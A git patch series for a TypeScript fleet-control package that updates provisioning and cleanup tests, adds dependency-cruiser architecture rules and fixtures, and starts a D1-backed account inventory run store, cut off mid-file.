'ARCHIVE', state: 'deleted' }, - { name: 'FILES', state: 'detach-authorized' }, + // The failed detachment assertion persists nothing; replay re-derives + // the detachment requirement from the durable 'created' state. + { name: 'FILES', state: 'created' }, ]); expect([...backend.buckets.values()].map(({ name }) => name)).toEqual([ 'FILES', @@ -2129,7 +2238,9 @@ describe('fleet provisioning', () => { })), ).toEqual([ { name: 'ALBUMS', state: 'deleted' }, - { name: 'ARCHIVE', state: 'detach-authorized' }, + // The failed detachment assertion persists nothing; replay re-derives + // the detachment requirement from the durable 'created' state. + { name: 'ARCHIVE', state: 'created' }, ]); expect([...backend.buckets.values()].map(({ name }) => name)).toEqual([ 'ARCHIVE', @@ -2217,22 +2328,22 @@ describe('fleet provisioning', () => { ).rejects.toBeInstanceOf(ProvisioningError); expect(store.phases).toContain('platform-resources-deployed'); + // The customer-data-capable external candidate is preserved whole: + // rollback refuses before any mutation and routes teardown to + // export-backed decommissioning. expect(backend.events).toEqual( - expect.arrayContaining([ - 'platform-resources', - 'worker', - 'revoke-platform', - 'delete-platform', - 'delete-database', - ]), - ); - expect(backend.deletedPlatformNamespaceIds).toEqual([ + expect.arrayContaining(['platform-resources', 'worker']), + ); + expect(backend.events).not.toContain('revoke-platform'); + expect(backend.events).not.toContain('delete-platform'); + expect(backend.events).not.toContain('delete-database'); + expect(store.record?.phase).toBe('platform-resources-deployed'); + expect(store.record?.platformResources?.stateWorker.namespaceIds).toEqual([ 'state-acme-production-MAINTENANCE', ]); - expect(store.record).toBeUndefined(); }); - it('cleans an exact private bootstrap after platform privatization fails before the resource snapshot', async () => { + it('preserves a private bootstrap for export-backed decommission after privatization fails before the resource snapshot', async () => { const backend = new FakeBackend(); backend.failAt = 'platform-privatization'; const store = new MemoryStore(); @@ -2252,18 +2363,15 @@ describe('fleet provisioning', () => { }), ).rejects.toBeInstanceOf(ProvisioningError); + // The private bootstrap fails before the resource snapshot commits, so + // the durable row never left 'application-resources-deployed'; the WFP + // rollback refuses no-export teardown and preserves the deployment. expect(backend.events).toEqual( - expect.arrayContaining([ - 'platform-resources', - 'platform-privatization', - 'revoke-platform', - 'delete-platform', - 'delete-database', - ]), - ); - expect(backend.platformBootstrapPresent).toBe(false); - expect(backend.databaseExists).toBe(false); - expect(store.record).toBeUndefined(); + expect.arrayContaining(['platform-resources', 'platform-privatization']), + ); + expect(backend.events).not.toContain('delete-database'); + expect(backend.databaseExists).toBe(true); + expect(store.record?.phase).toBe('application-resources-deployed'); }); it('rejects external artifacts on the plain backend before creating resources', async () => { @@ -2861,7 +2969,11 @@ describe('fleet provisioning', () => { secrets, }); if (!store.record) throw new Error('missing provisioned record'); - store.record = { ...store.record, phase: 'worker-deployed' }; + store.record = { + ...store.record, + phase: 'worker-deployed', + invocationAuthority: { version: 1, authorizedAt: null }, + }; backend.events.length = 0; backend.trafficDrift = true; @@ -2877,7 +2989,18 @@ describe('fleet provisioning', () => { expect(backend.events).toEqual([]); expect(backend.live).toBeDefined(); expect(backend.databaseExists).toBe(true); - expect(store.record.phase).toBe('worker-deployed'); + // The failed group leaves a durable intent for retry; remediation then + // resumes the same operation to its terminal receipt. + expect(store.record?.phase).toBe('cleanup-advancing'); + expect(store.record?.cleanupIntent?.identity.admittedPhase).toBe( + 'worker-deployed', + ); + backend.trafficDrift = false; + await expect( + cleanupDeploymentArtifacts({ backend, store, spec: deployment }), + ).resolves.toBeUndefined(); + expect(store.record).toBeUndefined(); + expect(store.receipts.size).toBe(1); }); it('never deletes the database when export fails', async () => { @@ -3091,7 +3214,7 @@ describe('fleet provisioning', () => { }); it('rejects database cleanup when the persisted ID has another sentinel owner', async () => { - const backend = new FakeBackend(); + const backend = new FakeBackend('plain-worker'); const store = new MemoryStore(); await provisionDeployment({ initialExecutionFenceState: 'open', @@ -3101,19 +3224,35 @@ describe('fleet provisioning', () => { secrets, }); if (!store.record) throw new Error('missing test record'); - store.record = { ...store.record, phase: 'worker-deployed' }; + store.record = { + ...store.record, + phase: 'worker-deployed', + invocationAuthority: { version: 1, authorizedAt: null }, + }; backend.databaseOwner = 'other-tenant'; backend.events.length = 0; - await expect( - cleanupDeploymentArtifacts({ backend, store, spec: spec() }), - ).rejects.toThrow(/owned by 'other-tenant'/); - expect(backend.events).toEqual([]); - expect(store.record.phase).toBe('worker-deployed'); + // The engine reconciles the persisted database at the deletion boundary, + // after the absence-tolerant teardown groups; the foreign sentinel then + // refuses deletion and the durable intent stays resumable. + const failure = await cleanupDeploymentArtifacts({ + backend, + store, + spec: spec(), + }).catch((error: unknown) => error); + expect(failure).toBeInstanceOf(AggregateError); + expect((failure as AggregateError).errors).toEqual([ + expect.objectContaining({ + message: expect.stringMatching(/owned by 'other-tenant'/), + }), + ]); + expect(backend.events).not.toContain('delete-database'); + expect(backend.databaseExists).toBe(true); + expect(store.record?.phase).toBe('cleanup-advancing'); }); it('converges cleanup when the persisted database ID is positively absent', async () => { - const backend = new FakeBackend(); + const backend = new FakeBackend('plain-worker'); const store = new MemoryStore(); await provisionDeployment({ initialExecutionFenceState: 'open', @@ -3123,7 +3262,11 @@ describe('fleet provisioning', () => { secrets, }); if (!store.record) throw new Error('missing test record'); - store.record = { ...store.record, phase: 'worker-deployed' }; + store.record = { + ...store.record, + phase: 'worker-deployed', + invocationAuthority: { version: 1, authorizedAt: null }, + }; backend.databaseExists = false; backend.events.length = 0; @@ -3132,10 +3275,13 @@ describe('fleet provisioning', () => { ).resolves.toBeUndefined(); expect(backend.events).toEqual(['revoke', 'delete-worker']); expect(store.record).toBeUndefined(); + expect([...store.receipts.values()]).toMatchObject([ + { disposition: 'reservation-cleared', authority: 'manual-cleanup' }, + ]); }); it('does not treat a persisted-ID lookup failure as database absence', async () => { - const backend = new FakeBackend(); + const backend = new FakeBackend('plain-worker'); const store = new MemoryStore(); await provisionDeployment({ initialExecutionFenceState: 'open', @@ -3145,17 +3291,30 @@ describe('fleet provisioning', () => { secrets, }); if (!store.record) throw new Error('missing test record'); - store.record = { ...store.record, phase: 'worker-deployed' }; + store.record = { + ...store.record, + phase: 'worker-deployed', + invocationAuthority: { version: 1, authorizedAt: null }, + }; backend.getDatabase = async () => { throw new Error('D1 lookup unavailable'); }; backend.events.length = 0; - await expect( - cleanupDeploymentArtifacts({ backend, store, spec: spec() }), - ).rejects.toThrow(/D1 lookup unavailable/); - expect(backend.events).toEqual([]); - expect(store.record.phase).toBe('worker-deployed'); + const failure = await cleanupDeploymentArtifacts({ + backend, + store, + spec: spec(), + }).catch((error: unknown) => error); + expect(failure).toBeInstanceOf(AggregateError); + expect((failure as AggregateError).errors).toEqual([ + expect.objectContaining({ + message: expect.stringMatching(/D1 lookup unavailable/), + }), + ]); + expect(backend.events).not.toContain('delete-database'); + expect(backend.databaseExists).toBe(true); + expect(store.record?.phase).toBe('cleanup-advancing'); }); it('preserves the database and resumable record when Worker cleanup fails', async () => { @@ -3750,7 +3909,7 @@ describe('fleet provisioning', () => { }); it('does not delete D1 when partial cleanup cannot remove the Worker', async () => { - const backend = new FakeBackend(); + const backend = new FakeBackend('plain-worker'); const store = new MemoryStore(); await provisionDeployment({ initialExecutionFenceState: 'open', @@ -3760,7 +3919,11 @@ describe('fleet provisioning', () => { secrets, }); if (!store.record) throw new Error('missing test record'); - store.record = { ...store.record, phase: 'worker-deployed' }; + store.record = { + ...store.record, + phase: 'worker-deployed', + invocationAuthority: { version: 1, authorizedAt: null }, + }; backend.cleanupFailAt = 'delete-worker'; backend.events.length = 0; @@ -3768,7 +3931,8 @@ describe('fleet provisioning', () => { cleanupDeploymentArtifacts({ backend, store, spec: spec() }), ).rejects.toThrow(/failed to clean/); expect(backend.events).not.toContain('delete-database'); - expect(store.record?.phase).toBe('worker-deployed'); + expect(backend.databaseExists).toBe(true); + expect(store.record?.phase).toBe('cleanup-advancing'); }); it('rolls back a Worker this attempt created when upload scratch cleanup fails', async () => { @@ -3834,6 +3998,588 @@ describe('fleet provisioning', () => { expect(store.record).toBeUndefined(); }); + it('ignores cleanup for an unregistered deployment without touching the lease or backend', async () => { + const backend = new FakeBackend('plain-worker'); + const store = new MemoryStore(); + + await expect( + cleanupDeploymentArtifacts({ backend, store, spec: spec() }), + ).resolves.toBeUndefined(); + expect(store.leaseCalls).toBe(0); + expect(backend.events).toEqual([]); + expect(backend.findDatabaseCalls).toBe(0); + }); + + it('resumes an active cleanup intent of either authority through the manual drain', async () => { + const backend = new FakeBackend('plain-worker'); + backend.failAt = 'worker'; + backend.cleanupFailAt = 'delete-worker'; + const store = new MemoryStore(); + + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }), + ).rejects.toBeInstanceOf(ProvisioningError); + const intent = store.record?.cleanupIntent; + if (!intent) throw new Error('missing durable rollback intent'); + expect(intent.authority).toMatchObject({ kind: 'provisioning-rollback' }); + expect(store.record?.phase).toBe('cleanup-advancing'); + + backend.failAt = undefined; + backend.cleanupFailAt = undefined; + await expect( + cleanupDeploymentArtifacts({ backend, store, spec: spec() }), + ).resolves.toBeUndefined(); + expect(store.record).toBeUndefined(); + // The drain resumed the persisted rollback operation instead of minting + // a new manual one. + expect(store.receipts.get(intent.operationId)).toMatchObject({ + authority: 'provisioning-rollback', + disposition: 'prepublication-owned-no-export', + }); + }); + + it('reports cleanup-advancing lifecycle phases exactly and fails closed on inconsistent pairs', () => { + const base: FleetRecord = { + tenantTag: 'acme', + environment: 'production', + backend: 'plain-worker', + scriptName: 'acme-production', + databaseId: DATABASE_ID, + databaseName: 'acme-production', + schemaVersion: 3, + artifactVersion: 'artifact-v1', + desiredSpecDigest: 'a'.repeat(64), + durableObjectBindings: [], + routeHostname: 'acme.example.test', + phase: 'cleanup-advancing', + updatedAt: '2026-08-29T00:00:00.000Z', + }; + const cleanupIntent: NonNullable = { + version: 1, + operationId: '9c7b1de2-4c8f-4b9a-8f3e-2a6d5c4b3a21', + revision: 0, + generation: 0, + updatedAt: base.updatedAt, + authority: { kind: 'manual-cleanup' }, + identity: { + record: { + tenantTag: base.tenantTag, + environment: base.environment, + backend: base.backend, + scriptName: base.scriptName, + databaseId: base.databaseId, + databaseName: base.databaseName, + routeHostname: base.routeHostname, + }, + admittedPhase: 'worker-deployed', + externalArtifact: false, + }, + state: { step: 'teardown-traffic' }, + }; + + expect(effectiveLifecyclePhase({ ...base, cleanupIntent })).toBe( + 'cleanup-advancing', + ); + expect(() => effectiveLifecyclePhase(base)).toThrow( + 'cleanup-advancing record has no active cleanup intent', + ); + expect(() => + effectiveLifecyclePhase({ ...base, phase: 'ready', cleanupIntent }), + ).toThrow('fleet record has inconsistent cleanup intent state'); + }); + + it('refuses external-candidate rollback before mutation and preserves the deployment for export-backed decommissioning', async () => { + const backend = new FakeBackend(); + backend.failAt = 'maintenance'; + const store = new MemoryStore(); + const external = spec({ + authoredBy: 'external', + durableObjectMigrations: [], + egressProxyService: undefined, + }); + + const failure = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: external, + secrets, + }).catch((error: unknown) => error); + + expect(failure).toBeInstanceOf(ProvisioningError); + expect((failure as ProvisioningError).cleanupErrors).toEqual([ + expect.objectContaining({ + message: + 'deployment carries an untrusted data binding; use export-backed decommissioning', + }), + ]); + expect(store.record?.phase).toBe('worker-deployed'); + expect(store.record?.cleanupIntent).toBeUndefined(); + expect(backend.events).not.toContain('revoke'); + expect(backend.events).not.toContain('delete-worker'); + expect(backend.events).not.toContain('delete-database'); + + // The row kept its phase, so a provisioning retry still succeeds. + backend.failAt = undefined; + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: external, + secrets, + }), + ).resolves.toMatchObject({ record: { phase: 'ready' } }); + }); + + it('writes the never-authorized invocation carrier on the first durable put', async () => { + class FirstPutProbeStore extends MemoryStore { + firstPut: FleetRecord | undefined; + + override async put(record: FleetRecord): Promise { + this.firstPut ??= structuredClone(record); + await super.put(record); + } + } + const backend = new FakeBackend('plain-worker'); + const store = new FirstPutProbeStore(); + + await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }); + + expect(store.firstPut?.phase).toBe('database-reserved'); + expect(store.firstPut?.invocationAuthority).toEqual({ + version: 1, + authorizedAt: null, + }); + expect(typeof store.record?.invocationAuthority?.authorizedAt).toBe( + 'string', + ); + }); + + it('redirects provisioning of a cleanup-advancing row to the bounded cleanup drain', async () => { + const backend = new FakeBackend('plain-worker'); + backend.failAt = 'worker'; + backend.cleanupFailAt = 'delete-worker'; + const store = new MemoryStore(); + + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }), + ).rejects.toBeInstanceOf(ProvisioningError); + expect(store.record?.phase).toBe('cleanup-advancing'); + + backend.failAt = undefined; + backend.cleanupFailAt = undefined; + backend.events.length = 0; + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }), + ).rejects.toThrow( + "deployment 'acme:production' has an active bounded cleanup; complete it with cleanupDeploymentArtifacts() or advanceCleanupDeployment() before provisioning again", + ); + expect(backend.events).toEqual([]); + + // Complete the cleanup, then the key reprovisions fresh. + await expect( + cleanupDeploymentArtifacts({ backend, store, spec: spec() }), + ).resolves.toBeUndefined(); + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }), + ).resolves.toMatchObject({ record: { phase: 'ready' } }); + }); + + it('returns the bounded rollback outcome through ProvisioningError.cleanup when failureCleanup is bounded', async () => { + const backend = new FakeBackend('plain-worker'); + backend.failAt = 'worker'; + const store = new MemoryStore(); + + const failure = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + failureCleanup: 'bounded', + }).catch((error: unknown) => error); + + expect(failure).toBeInstanceOf(ProvisioningError); + expect((failure as ProvisioningError).message).toBe( + "failed to provision 'acme:production'", + ); + expect((failure as ProvisioningError).cleanup).toMatchObject({ + status: 'pending', + token: { + version: 1, + tenantTag: 'acme', + environment: 'production', + revision: 1, + }, + }); + // Exactly one bounded group advanced. + expect(store.record?.cleanupIntent?.state).toEqual({ + step: 'teardown-worker', + }); + + await expect( + cleanupDeploymentArtifacts({ backend, store, spec: spec() }), + ).resolves.toBeUndefined(); + expect(store.record).toBeUndefined(); + + // The default drain keeps the historical error shape. + const drainBackend = new FakeBackend('plain-worker'); + drainBackend.failAt = 'worker'; + const drainStore = new MemoryStore(); + const drainFailure = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend: drainBackend, + store: drainStore, + spec: spec(), + secrets, + }).catch((error: unknown) => error); + expect(drainFailure).toBeInstanceOf(ProvisioningError); + expect((drainFailure as ProvisioningError).cleanup).toBeUndefined(); + expect(drainStore.record).toBeUndefined(); + }); + + it('commits the invocation authority durably before each candidate-invoking dispatch', async () => { + class FlipTimelineStore extends MemoryStore { + constructor(private readonly timeline: string[]) { + super(); + } + + override async put(record: FleetRecord): Promise { + await super.put(record); + const carrier = record.invocationAuthority; + this.timeline.push( + `put:${record.phase}:${ + carrier + ? carrier.authorizedAt === null + ? 'null' + : 'authorized' + : 'absent' + }`, + ); + } + } + + const plain = new FakeBackend('plain-worker'); + const plainStore = new FlipTimelineStore(plain.events); + await provisionDeployment({ + initialExecutionFenceState: 'open', + backend: plain, + store: plainStore, + spec: spec(), + secrets, + }); + const timeline = plain.events; + const workerDeployedPut = timeline.indexOf('put:worker-deployed:null'); + const flipPut = timeline.indexOf('put:worker-deployed:authorized'); + // The flip never rides the worker-deployed put: that phase stays + // no-export-eligible until the maintenance request is authorized. + expect(workerDeployedPut).toBeGreaterThanOrEqual(0); + expect(flipPut).toBeGreaterThan(workerDeployedPut); + expect(flipPut).toBeLessThan(timeline.indexOf('maintenance')); + expect(timeline).not.toContain('put:publishing:null'); + expect(timeline.indexOf('put:publishing:authorized')).toBeLessThan( + timeline.indexOf('promote'), + ); + expect(timeline[0]).toBe('put:database-reserved:null'); + + const external = new FakeBackend(); + const externalStore = new FlipTimelineStore(external.events); + await provisionDeployment({ + initialExecutionFenceState: 'open', + backend: external, + store: externalStore, + spec: spec(), + secrets, + }); + const externalTimeline = external.events; + // External uploads dispatch the candidate, so the flip commits before + // deployWorker on immutable-external backends. + expect( + externalTimeline.indexOf('put:application-resources-deployed:authorized'), + ).toBeLessThan(externalTimeline.indexOf('worker')); + }); + + it('aborts before dispatch when the invocation-authority flip cannot commit', async () => { + class FlipFailureStore extends MemoryStore { + failFlipOnce = true; + + override async put(record: FleetRecord): Promise { + if ( + this.failFlipOnce && + record.phase === 'worker-deployed' && + typeof record.invocationAuthority?.authorizedAt === 'string' + ) { + this.failFlipOnce = false; + throw new Error('flip write rejected'); + } + await super.put(record); + } + } + const backend = new FakeBackend('plain-worker'); + const store = new FlipFailureStore(); + + const failure = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }).catch((error: unknown) => error); + + expect(failure).toBeInstanceOf(ProvisioningError); + expect((failure as Error).cause).toMatchObject({ + message: 'flip write rejected', + }); + // The rejected flip aborted the flow before the maintenance dispatch. + expect(backend.events).not.toContain('maintenance'); + }); + + it('refuses no-export rollback after the maintenance flip and preserves the worker-deployed row', async () => { + const backend = new FakeBackend('plain-worker'); + backend.failAt = 'maintenance'; + const store = new MemoryStore(); + + const failure = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }).catch((error: unknown) => error); + + expect(failure).toBeInstanceOf(ProvisioningError); + expect((failure as ProvisioningError).cleanupErrors).toEqual([ + expect.objectContaining({ + message: + 'deployment candidate invocation was durably authorized; use export-backed decommissioning', + }), + ]); + // The provider failure landed after the committed flip: the carrier + // stays authorized and the deployment is preserved whole. + expect(store.record?.phase).toBe('worker-deployed'); + expect(typeof store.record?.invocationAuthority?.authorizedAt).toBe( + 'string', + ); + expect(backend.events).not.toContain('delete-worker'); + expect(backend.events).not.toContain('delete-database'); + + backend.failAt = undefined; + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }), + ).resolves.toMatchObject({ record: { phase: 'ready' } }); + }); + + it('errors after a second blocked drain result and leaves the blocked intent restartable', async () => { + const backend = new FakeBackend('plain-worker'); + const store = new MemoryStore(); + await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }); + if (!store.record) throw new Error('missing provisioned record'); + store.record = { + ...store.record, + phase: 'worker-deployed', + invocationAuthority: { version: 1, authorizedAt: null }, + }; + const attached: DecommissionAttachmentScanResult = { + status: 'attached', + attachment: { plane: 'ordinary', scriptName: 'holder-script' }, + providerFetchAttemptsReserved: 3, + }; + backend.scanResults.push(attached, attached); + + await expect( + cleanupDeploymentArtifacts({ backend, store, spec: spec() }), + ).rejects.toThrow('bounded cleanup remains blocked by a Worker attachment'); + expect(store.record?.cleanupIntent?.state).toMatchObject({ + step: 'blocked', + attachment: { plane: 'ordinary', scriptName: 'holder-script' }, + }); + + // After remediation the drain restarts the blocked operation itself. + await expect( + cleanupDeploymentArtifacts({ backend, store, spec: spec() }), + ).resolves.toBeUndefined(); + expect(store.record).toBeUndefined(); + }); + + it('releases current claims on force decommission while preserving receipts and the legacy fallback', async () => { + const backend = new FakeBackend('plain-worker'); + const store = new MemoryStore(); + store.supportsDeleteReleasingClaims = true; + await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }); + const receipt: CleanupTerminalReceipt = { + version: 1, + operationId: '3d1f6a70-58c8-4b52-9d68-0f1f6f1c2ab3', + tenantTag: 'acme', + environment: 'production', + backend: 'plain-worker', + scriptName: 'acme-production', + databaseId: DATABASE_ID, + databaseName: 'acme-production', + authority: 'manual-cleanup', + admittedPhase: 'worker-deployed', + disposition: 'prepublication-owned-no-export', + evidence: { + eligibility: 'carrier-null', + ingressRemoved: true, + workerAbsent: true, + platformResourcesAbsent: true, + applicationR2Settled: true, + databaseAbsentReadback: true, + }, + completedAtMs: 7, + }; + store.receipts.set(receipt.operationId, receipt); + + await forceDecommissionDeployment({ + backend, + store, + tenantTag: 'acme', + environment: 'production', + }); + expect(store.record).toBeUndefined(); + expect(store.deleteReleasingClaimsCalls).toBe(1); + expect(store.deleteCalls).toBe(0); + // Force never reads or deletes historical receipts. + expect(store.receipts.get(receipt.operationId)).toEqual(receipt); + + const legacyBackend = new FakeBackend('plain-worker'); + const legacyStore = new MemoryStore(); + await provisionDeployment({ + initialExecutionFenceState: 'open', + backend: legacyBackend, + store: legacyStore, + spec: spec(), + secrets, + }); + await forceDecommissionDeployment({ + backend: legacyBackend, + store: legacyStore, + tenantTag: 'acme', + environment: 'production', + }); + // A legacy lease without deleteReleasingClaims keeps tombstone claims + // through the plain row delete. + expect(legacyStore.record).toBeUndefined(); + expect(legacyStore.deleteReleasingClaimsCalls).toBe(0); + expect(legacyStore.deleteCalls).toBe(1); + }); + + it('refuses force decommission during an active cleanup', async () => { + const backend = new FakeBackend('plain-worker'); + backend.failAt = 'worker'; + backend.cleanupFailAt = 'delete-worker'; + const store = new MemoryStore(); + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }), + ).rejects.toBeInstanceOf(ProvisioningError); + expect(store.record?.phase).toBe('cleanup-advancing'); + const before = store.record; + + await expect( + forceDecommissionDeployment({ + backend, + store, + tenantTag: 'acme', + environment: 'production', + }), + ).rejects.toThrow( + 'forceDecommissionDeployment cannot run during an active cleanup', + ); + expect(backend.forceSteps).toEqual([]); + expect(store.record).toEqual(before); + }); + + it('refuses reprovisioning over foreign physical residue after a forced decommission', async () => { + const backend = new FakeBackend('plain-worker'); + const store = new MemoryStore(); + store.supportsDeleteReleasingClaims = true; + await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }); + await forceDecommissionDeployment({ + backend, + store, + tenantTag: 'acme', + environment: 'production', + }); + expect(store.record).toBeUndefined(); + + // A residual physical database with the reserved name survives force; + // provisioning fails closed instead of adopting it. + backend.databaseExists = true; + backend.databaseOwner = undefined; + const failure = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: spec(), + secrets, + }).catch((error: unknown) => error); + expect(failure).toBeInstanceOf(ProvisioningError); + expect((failure as Error).cause).toMatchObject({ + message: expect.stringMatching(/refusing to claim pre-existing database/), + }); + }); + it('starts stable operation before I/O and recovers lost start response', async () => { const store = new CommitThenThrowStore(); const harness = await boundedDecommissionHarness({ store }); diff --git a/scripts/architecture-fixtures/cleanup-advance-imports-provider.ts b/scripts/architecture-fixtures/cleanup-advance-imports-provider.ts new file mode 100644 index 00000000..854c6b3c --- /dev/null +++ b/scripts/architecture-fixtures/cleanup-advance-imports-provider.ts @@ -0,0 +1,2 @@ +import '../../packages/fleet-control/src/backend-switch.js'; +import '../../packages/fleet-control/src/workers-for-platforms-backend-switch-provider.js'; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index 4d6d6586..6956d182 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -108,6 +108,8 @@ const controls = { 'scripts/architecture-fixtures/cleanup-state-imports-provider.ts', 'fleet-control-decommission-advance-is-transport-neutral': 'scripts/architecture-fixtures/decommission-advance-imports-provider.ts', + 'fleet-control-cleanup-advance-is-transport-neutral': + 'scripts/architecture-fixtures/cleanup-advance-imports-provider.ts', 'fleet-control-decommission-database-is-provider-neutral': 'scripts/architecture-fixtures/decommission-database-imports-provider.ts', 'fleet-control-backend-switch-does-not-reach-its-provider': From 09dfe69da10223786cff159d9ed933d6103d7f54 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 31 Aug 2026 23:53:03 +0400 Subject: [PATCH 045/169] docs(fleet-control): clarify eligibility re-check comment and receipt scan field --- packages/fleet-control/src/cleanup-advance.ts | 4 ++-- packages/fleet-control/src/types.ts | 5 +++++ 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/packages/fleet-control/src/cleanup-advance.ts b/packages/fleet-control/src/cleanup-advance.ts index 1229bb61..96017ed9 100644 --- a/packages/fleet-control/src/cleanup-advance.ts +++ b/packages/fleet-control/src/cleanup-advance.ts @@ -471,8 +471,8 @@ function recheckEligibility( intent: CleanupAdvanceIntent, ): CleanupReceiptEvidence['eligibility'] { // Synthetic input: the live phase is 'cleanup-advancing', which the - // classifier would always refuse; the barrier re-check replays the persisted - // admitted phase and externalArtifact against the LIVE authority carrier. + // classifier would always refuse; the eligibility re-check replays the + // persisted admitted phase and externalArtifact against the LIVE carrier. const classification = classifyCleanupDatabaseEligibility({ record: { ...omitIntent(record), phase: intent.identity.admittedPhase }, externalArtifact: intent.identity.externalArtifact, diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index 932f21a4..c7ee03b3 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -929,6 +929,11 @@ export interface CleanupReceiptEvidence { readonly platformResourcesAbsent: boolean; readonly applicationR2Settled: boolean; readonly databaseAbsentReadback: boolean; + /** + * Optional discover/verify attachment-scan digests. Receipts written by the + * bounded engine omit this pair (the scan gate is proven by the persisted + * database-deletion transition); the codec retains it for compatibility. + */ readonly scan?: Readonly<{ discover: Readonly<{ evidenceSha256: string; evidenceCount: number }>; verify: Readonly<{ evidenceSha256: string; evidenceCount: number }>; From 716b36fc11fbd57cecddc4af67a95a1aa3a9199a Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 1 Sep 2026 01:52:07 +0400 Subject: [PATCH 046/169] feat(fleet-control): add account inventory run state and D1 run store --- .dependency-cruiser.cjs | 20 +- .../src/d1-fleet-inventory-run-store.ts | 1302 +++++++++++++++++ .../src/fleet-inventory-state.ts | 1010 +++++++++++++ .../fixtures/fleet-state-harness-probe.ts | 609 ++++++++ .../test/fleet-inventory-run-store.test.ts | 867 +++++++++++ .../test/fleet-inventory-state.test.ts | 519 +++++++ .../test/state-store.harness.test.ts | 233 +++ .../inventory-state-imports-provider.ts | 4 + .../architecture-positive-controls.test.mjs | 2 + 9 files changed, 4564 insertions(+), 2 deletions(-) create mode 100644 packages/fleet-control/src/d1-fleet-inventory-run-store.ts create mode 100644 packages/fleet-control/src/fleet-inventory-state.ts create mode 100644 packages/fleet-control/test/fleet-inventory-run-store.test.ts create mode 100644 packages/fleet-control/test/fleet-inventory-state.test.ts create mode 100644 scripts/architecture-fixtures/inventory-state-imports-provider.ts diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index dd2dce60..a2fd73ff 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -219,6 +219,22 @@ module.exports = { reachable: true, }, }, + { + name: 'fleet-control-inventory-state-does-not-reach-provider', + severity: 'error', + comment: + 'Persisted account inventory state and its D1 run store are a provider-free authority boundary. Keeping provider clients, operations, and error classification out of their reachable graph prevents the inventory codecs and guarded batches from acquiring credential or transport dependencies.', + from: { + path: [ + '^packages/fleet-control/src/(?:fleet-inventory-state|d1-fleet-inventory-run-store)\\.ts$', + '^scripts/architecture-fixtures/inventory-state-imports-provider\\.ts$', + ], + }, + to: { + path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors)\\.ts$|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + reachable: true, + }, + }, { name: 'fleet-control-decommission-advance-is-transport-neutral', severity: 'error', @@ -305,10 +321,10 @@ module.exports = { name: 'fleet-control-ports-do-not-reach-d1-adapter', severity: 'error', comment: - 'The D1 adapter implements ports that state-store.ts and migration-ledger.ts declare and imports state-store.ts, which reaches migration-ledger.ts through backend-switch.ts, so a port module reaching the adapter would close a cycle.', + 'The D1 adapter implements ports that state-store.ts and migration-ledger.ts declare and imports state-store.ts, which reaches migration-ledger.ts through backend-switch.ts, so a port module reaching the adapter would close a cycle. d1-fleet-inventory-run-store.ts consumes the same port and must stay binding-agnostic for the same reason.', from: { path: [ - '^packages/fleet-control/src/(?:state-store|migration-ledger)\\.ts$', + '^packages/fleet-control/src/(?:state-store|migration-ledger|d1-fleet-inventory-run-store)\\.ts$', '^scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter\\.ts$', ], }, diff --git a/packages/fleet-control/src/d1-fleet-inventory-run-store.ts b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts new file mode 100644 index 00000000..bd5b5789 --- /dev/null +++ b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts @@ -0,0 +1,1302 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { randomUUID } from 'node:crypto'; +import { + emptyFleetInventoryRowCounts, + FLEET_INVENTORY_FAILURE_REASONS, + FLEET_INVENTORY_ROW_KINDS, + type FleetInventoryFailureReason, + type FleetInventoryGeneration, + type FleetInventoryGenerationRef, + type FleetInventoryLease, + type FleetInventoryRowKind, + type FleetInventoryRunOptions, + type FleetInventoryRunRecord, + type FleetInventoryRunStore, + type FleetInventoryStagedFact, + type FleetInventoryStagedRow, + fleetInventoryRunRecordFromUnknown, + fleetInventoryStagedFactFromUnknown, + fleetInventoryStagedRowFromUnknown, + initialFleetInventoryStage, +} from './fleet-inventory-state.js'; +import type { FleetStateDatabase } from './state-store.js'; + +const HEAD_TABLE = 'anchorage_fleet_inventory_heads'; +const RUN_TABLE = 'anchorage_fleet_inventory_runs'; +const ROW_TABLE = 'anchorage_fleet_inventory_rows'; +const FACT_TABLE = 